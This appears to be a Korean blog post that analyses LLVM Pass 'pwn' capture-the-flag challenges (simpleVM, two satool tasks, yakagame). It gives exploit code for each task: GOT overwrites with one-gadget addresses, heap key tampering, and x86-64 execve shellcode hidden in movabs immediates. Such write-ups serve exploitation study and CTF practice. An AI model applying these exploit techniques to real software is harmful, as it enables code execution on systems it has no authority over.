LLVM Pass 및 Pwn 기법 분석

LLVM Pass 및 Pwn 기법 분석

LLVM Pass를 활용한 취약점 공격 방법을 다루며, 이를 통해 프로그램의 내부 구조와 동작 원리를 이해하고 공격 전략을 수립하는 방법을 설명합니다.

환경 설정

LLVM Pass 개발 시 자주 발생하는 문제로는 .so 파일 로드 실패가 있습니다. 이 문제는 LLVMHello.so: cannot open shared object file과 같은 오류 메시지로 나타납니다. 이를 해결하려면 절대 경로를 명시하거나 .bashrc 또는 .zshrc에 다음 환경 변수를 추가하면 됩니다:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:.

하지만 이 설정은 현재 디렉토리에 있는 glibc의 .so 파일이 우선 로드되도록 하여 Segmentation Fault를 일으킬 수 있으므로 주의해야 합니다. 이를 방지하기 위해 별도의 alias를 설정할 수 있습니다:

alias llvm-ld="export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:."
alias llvm-rd="unset LD_LIBRARY_PATH"

LLVM Pass 관련 명령어

다음은 LLVM Pass 작업에 사용되는 일반적인 명령어입니다:

  • 중간 언어(.ll) 파일 생성: clang-8 -emit-llvm -S exp.c -o exp.ll
  • Pass 적용: ./opt-8 -load ./VMPass.so -VMPass ./exp.ll
  • 디버깅 시 파라미터 설정: set args -load VMPass.so -VMPass exp.ll
  • PassManager 초기화 점검: llvm::Pass::preparePassManager

명령어를 사용하여 함수 이름을 검색할 때는 Alt+T 단축키를 활용하며, /usr/include/llvm-xx/llvm/IR/Instruction.def에서 지시자에 해당하는 인코딩 번호를 확인할 수 있습니다.

2021 Red Hat Cup - simpleVM 분석

프로그램 분석

sub_6830 함수는 runOnFunction을 재정의한 부분으로, 함수 이름이 o0o0o0o0인지 확인합니다. 이후 기본 블록과 각 블록의 기능을 분석하며, llvm::CallBase 추상 클래스를 통해 호출된 함수의 특성을 파악합니다.

주요 메소드
  • getCalledFunction: 직접 호출된 함수 포인터 반환.
  • isIndirectCall: 간접 호출 여부 확인.
  • getCalledValue: 호출된 값 반환.
  • getNumArgOperands: 매개변수 개수 확인.
  • getArgOperand: 특정 인덱스의 매개변수 값 가져오기.
  • setArgOperand: 특정 인덱스의 매개변수 값을 설정.
취약점 및 공격 방법

loadstore 함수는 임의 주소 읽기/쓰기를 허용합니다. 이를 이용해 llvm::legacy::PassManager::~PassManager()의 GOT(GLOBAL OFFSET TABLE) 항목을 one-gadget으로 대체할 수 있습니다.

예제 코드

void add(int reg, long value);
void load(int reg);
void min(int reg, long value);
void store(int reg);

void exploit() {
    add(1, 0x77E100);   // GOT 주소 설정
    load(1);             // 주소 값 로드
    min(2, 0x9a6d0);     // free 함수 오프셋 계산
    add(2, 0xe3afe);     // one-gadget 주소 계산
    add(1, 0x870);       // PassManager GOT 오프셋 설정
    store(1);            // GOT 수정
}

CISCN 2021 - satool 분석

프로그램 분석

save, stealkey, fakekey, run 등 네 가지 함수 중 run 함수가 취약점을 노출합니다. 이를 통해 힙 상의 데이터를 조작하고, 최종적으로 one-gadget 주소를 심어 실행할 수 있습니다.

공격 전략

두 번째 save 호출 시 첫 번째 매개변수를 비워두고, stealkeyfakekey를 조합하여 데이터를 조작합니다. 이를 통해 필요한 오프셋을 계산하고 one-gadget 주소를 삽입합니다.

예제 코드

void save(const char* a, const char* b);
void stealkey();
void fakekey(long offset);
void run();

void exploit() {
    save("chunk", "data");  // 첫 번째 chunk 생성
    save("", "data");        // 두 번째 chunk 생성 (첫 번째 매개변수 비움)
    stealkey();              // key 값 할당
    fakekey(-0x1ecbf0 + 0xe3afe); // 오프셋 계산 및 조작
    run();                  // 조작된 데이터 실행
}

강넷컵 2022 - yakagame 분석

프로그램 분석

fight 함수는 BSS 영역의 점수를 조작하며, merge, destroy, upgrade 등은 무관한 함수들입니다. 특히, 입력된 문자열을 변환하여 cat flag 명령어를 생성하는 로직이 핵심입니다.

공격 전략

Red-Black Tree와 Iterator를 사용한 복잡한 처리 과정을 분석하여 취약점을 발견합니다. weaponlist 배열의 타입이 char인 점을 악용해 cmdscore를 조작할 수 있습니다.

예제 코드

void fight(int weapon);
void trunk(int x);

void exploit() {
    for (int i = 0; i < 256; ++i) trunk(i); // cmd 초기화
    trunk(0xad); trunk(0xfd); trunk(0x6e);   // 'sh' 문자열 구성
    trunk(0);                               // 패딩
    trunk(0x40);                            // score 조작
    fight(0);                               // 실행
}

CISCN 2022 - satool 분석

프로그램 분석

handle 함수는 IR(Inmediate Representation)을 역방향으로 처리하며, 최종적으로 shellcode를 삽입할 수 있는 공간을 제공합니다.

취약점

프로그램은 최대 0xFF0 바이트까지만 검사하지만, 사용자는 0x1000 바이트까지 입력할 수 있습니다. 이를 통해 movabs rax, val 명령어에 shellcode를 삽입할 수 있습니다.

Shellcode 생성

from pwn import *

context(os='linux', arch='amd64')

shellcode = [
    "mov edi, 0x68732f6e",
    "shl rdi, 24",
    "mov ebx, 0x69622f",
    "add rdi, rbx",
    "push rdi",
    "pop rsi",
    "xor rdx, rdx",
    "mov al, 59",
    "syscall"
]

for sc in shellcode:
    print(u64(asm(sc).ljust(8, b'\x90') + b'\xEB\xEB'))
print(u16(b'\xEB\xE4'))  # Jump instruction

예제 코드

define dso_local i64 @payload(i64 %0) {
    %1 = add nsw i64 %0, 1024
    ; ... (반복)
    ret i64 %n
}

태그: llvm PWN C++ shellcode exploit

6월 18일 23:54에 게시됨